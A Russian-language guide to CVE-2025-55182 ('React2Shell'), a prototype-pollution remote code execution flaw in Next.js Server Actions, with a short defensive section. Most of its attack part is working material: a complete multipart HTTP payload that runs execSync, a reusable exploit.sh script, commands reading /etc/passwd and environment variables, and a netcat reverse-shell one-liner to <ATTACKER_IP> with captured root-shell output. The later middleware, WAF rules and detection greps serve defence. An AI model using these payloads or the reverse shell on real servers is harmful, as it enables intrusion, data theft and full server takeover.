
CVE-2025-55182, также известный как React2Shell, это критическая уязвимость, затрагивающая приложения Next.js, использующие React Server Components (RSC) и Server Actions.
⚠️ Предупреждение: Данная документация предоставлена только для образовательных целей и исследований в области безопасности. Любое несанкционированное использование этих методов против систем, которые вам не принадлежат или на тестирование которых у вас нет явного разрешения, противозаконно.
CVE-2025-55182, также известная как React2Shell, — это критическая уязвимость, затрагивающая приложения Next.js, которые используют:
Атакующий может добиться удаленного выполнения кода (RCE) на сервере, эксплуатируя:
__proto__ и constructorСледствие: Произвольные системные команды могут быть выполнены с привилегиями процесса Node.js.
Next.js использует собственный протокол multipart/form-data для связи между клиентом и сервером:
Клиент (Браузер)
↓
[Полезная нагрузка RSC в multipart/form-data]
↓
Сервер Next.js
↓
Десериализация + Выполнение
↓
Ответ
Уязвимость существует потому, что:
__proto__, constructor)Атакующий может создать полезную нагрузку, которая изменяет внутренние свойства объектов:
{
"then": "$1:__proto__:then", // Нацеливается на цепочку прототипов
"_response": {
"_prefix": "вредоносный код здесь" // Внедрение кода
}
}
Используя __proto__, атакующий загрязняет прототип объектов JavaScript, затрагивая все объекты, которые наследуют от него.
Внутри поля _prefix атакующий внедряет код JavaScript, который:
process.mainModule.require()child_processexecSync()var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();
Результат команды скрывается в ответе об ошибке:
throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});
Next.js возвращает эту ошибку клиенту, и вывод команды виден в поле digest.
# Клонирование PoC
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182
# Установка Node.js 20
nvm install 20
nvm use 20
# Установка зависимостей
cd test-server
npm install
npm run dev
Теперь сервер доступен по адресу:
http://localhost:3000
curl http://localhost:3000/
На этом этапе сервер ведет себя нормально.
http://localhost:3000/Будет перехвачен GET-запрос. Отправьте его на вкладку Repeater:
Замените весь запрос следующей полезной нагрузкой:
POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
Нажмите Send
Создайте файл exploit.sh:
#!/bin/bash
TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"
# Формирование полезной нагрузки
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)
# Замена команды
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"
# Отправка запроса
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
-H "Next-Action: x" \
-H "X-Nextjs-Request-Id: b5dce965" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
-H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
--data-raw "$PAYLOAD"
Сделайте его исполняемым:
chmod +x exploit.sh
./exploit.sh
COMMAND="ls -la /"
COMMAND="whoami"
COMMAND="cat /etc/passwd"
COMMAND="netstat -tuln"
COMMAND="env"
Для получения полного интерактивного доступа к оболочке используйте обратный шелл.
ncat -lvnp 9009
Или с помощью netcat:
nc -lvnp 9009
Измените полезную нагрузку, подставив следующую команду (замените <ATTACKER_IP> на ваш IP-адрес):
COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"
Полная полезная нагрузка приобретает вид:
POST / HTTP/1.1
Host: <TARGET_IP>:<TARGET_PORT>
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 821
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
❯ ncat -lvnp 9009
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9009
Ncat: Listening on 0.0.0.0:9009
Ncat: Connection from 10.100.0.169:51438.
sh: no job control in this shell
sh-3.2$ ls
bin boot dev etc home lib ...
sh-3.2$ whoami
root
sh-3.2$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
Теперь у вас есть полностью интерактивная оболочка на целевом сервере.
При успешной эксплуатации:
digest внутри ответа об ошибкеError: NEXT_REDIRECT
digest: uid=33(www-data) gid=33(www-data) groups=33(www-data)
npm install next@latest
Убедитесь, что вы используете исправленную версию Next.js. Ознакомьтесь с официальными уведомлениями безопасности.
Добавьте строгую проверку входящих полезных нагрузок RSC:
// middleware.ts
import { NextRequest, NextResponse } from 'next/server';
export function middleware(request: NextRequest) {
// Отклонять подозрительные полезные нагрузки
if (request.headers.get('content-type')?.includes('multipart/form-data')) {
const bodyString = request.body?.toString() || '';
// Блокировать полезные нагрузки, содержащие опасные шаблоны
if (bodyString.includes('__proto__') ||
bodyString.includes('constructor') ||
bodyString.includes('child_process')) {
console.error(`[SECURITY] Попытка вредоносной полезной нагрузки с ${request.ip}`);
return new NextResponse('Forbidden', { status: 403 });
}
}
return NextResponse.next();
}
export const config = {
matcher: ['/:path*']
};
В next.config.js:
module.exports = {
experimental: {
serverActions: {
enabled: false // Отключить, если не требуется
}
}
};
# Создать выделенного пользователя
useradd -r -s /bin/false nextjs
# Запустить службу от имени этого пользователя
sudo -u nextjs node server.js
# Или с помощью systemd
# /etc/systemd/system/nextjs.service
[Service]
User=nextjs
Group=nextjs
ExecStart=/usr/bin/node /app/server.js
Используйте Docker с ограниченными возможностями:
FROM node:20-alpine
# Создание непривилегированного пользователя
RUN addgroup -g 1001 -S nodejs
RUN adduser -S nextjs -u 1001
WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production
COPY . .
USER nextjs
EXPOSE 3000
CMD ["node", "server.js"]
Запустите контейнер с ограниченными возможностями:
docker run \
--cap-drop=ALL \
--cap-add=NET_BIND_SERVICE \
-u nextjs:nextjs \
--security-opt=no-new-privileges \
--read-only \
--tmpfs /tmp \
my-nextjs-app
Внедрите всестороннее логирование:
// Пользовательское промежуточное ПО для логирования
app.use((req, res, next) => {
// Логировать все POST-запросы с заголовком Next-Action
if (req.method === 'POST' && req.headers['next-action']) {
const suspiciousPatterns = ['__proto__', 'constructor', 'execSync', 'child_process'];
const bodyString = JSON.stringify(req.body);
const isSuspicious = suspiciousPatterns.some(pattern => bodyString.includes(pattern));
if (isSuspicious) {
console.error(`[SECURITY_ALERT] Обнаружена попытка эксплуатации с ${req.ip}`);
console.error(`[SECURITY_ALERT] User-Agent: ${req.get('user-agent')}`);
console.error(`[SECURITY_ALERT] Полезная нагрузка: ${bodyString.substring(0, 500)}`);
// Уведомить службу безопасности
// sendSecurityAlert(`Попытка эксплуатации с ${req.ip}`);
return res.status(403).json({ error: 'Forbidden' });
}
}
next();
});
Настройте ваш WAF на блокировку:
Правила ModSecurity:
# Блокировать __proto__ в теле запроса
SecRule REQUEST_BODY "@contains __proto__" \
"id:1001,phase:2,deny,status:403,msg:'Атака загрязнением прототипа'"
# Блокировать constructor в теле запроса
SecRule REQUEST_BODY "@contains constructor" \
"id:1002,phase:2,deny,status:403,msg:'Атака загрязнением прототипа'"
# Блокировать доступ к модулю child_process
SecRule REQUEST_BODY "@contains child_process" \
"id:1003,phase:2,deny,status:403,msg:'Попытка выполнения кода'"
# Блокировать функцию execSync
SecRule REQUEST_BODY "@contains execSync" \
"id:1004,phase:2,deny,status:403,msg:'Попытка выполнения кода'"
# Блокировать операторы require()
SecRule REQUEST_BODY "@rx require\s*\(" \
"id:1005,phase:2,deny,status:403,msg:'Попытка загрузки модуля'"
Пример AWS WAF:
{
"Name": "BlockRCEAttempts",
"Rules": [
{
"Name": "BlockProtoPollution",
"Priority": 1,
"Statement": {
"ByteMatchStatement": {
"FieldToMatch": { "Body": {} },
"TextTransformations": [{ "Priority": 0, "Type": "LOWERCASE" }],
"PositionalConstraint": "CONTAINS",
"SearchString": "__proto__"
}
},
"Action": { "Block": {} },
"VisibilityConfig": {
"SampledRequestsEnabled": true,
"CloudWatchMetricsEnabled": true,
"MetricName": "BlockProtoPollution"
}
}
]
}
Хотя CSP в первую очередь защищает клиентскую сторону, это хорошая практика:
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('X-XSS-Protection', '1; mode=block');
res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
next();
});
# Сканирование зависимостей на уязвимости
npm audit
npm audit fix
# Использование snyk для непрерывного мониторинга
snyk monitor
# Регулярное тестирование на проникновение
# Планируйте ежеквартальные оценки безопасности
При подозрении на эксплуатацию:
# 1. Проверить логи на подозрительные шаблоны
grep -r "__proto__" /var/log/
grep -r "child_process" /var/log/
grep -r "execSync" /var/log/
# 2. Проверить историю процессов
ps aux | grep node
history | grep -E "(nc|ncat|bash)"
# 3. Проверить сетевые соединения
netstat -tuln
lsof -i -P -n
# 4. Изолировать затронутую систему
sudo iptables -I INPUT -j DROP
# 5. Сохранить доказательства и логи
tar -czf /backup/incident-$(date +%Y%m%d).tar.gz /var/log/
# 6. Уведомить команду безопасности и применить исправления
{
// Шаг 1: Нацеливание на цепочку прототипов
"then": "$1:__proto__:then",
// Шаг 2: Пометка как разрешенная модель
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
// Шаг 3: Внедрение кода через _response
"_response": {
// Внедренный код JavaScript
"_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
// Ссылка на данные формы
"_chunks": "$Q2",
// Доступ к constructor через данные формы
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
$1 разрешаются в другие поля формы__proto__ изменяет прототип объекта_prefix вычисляется во время обработки ошибкиexecSync запускает произвольную командуCVE-2025-55182 (React2Shell) демонстрирует критические риски, связанные с:
✅ Небезопасной десериализацией данных, контролируемых пользователем ✅ Загрязнением прототипа в цепочках прототипов JavaScript ✅ Динамическим выполнением кода без надлежащей проверки
Эта уязвимость подчеркивает важность:
Лицензия: Только для образовательного использования. Несанкционированный доступ к компьютерным системам противозаконен.
Для легитимных исследований безопасности и авторизованного тестирования убедитесь, что у вас есть письменное разрешение от владельца системы перед проведением любых тестов.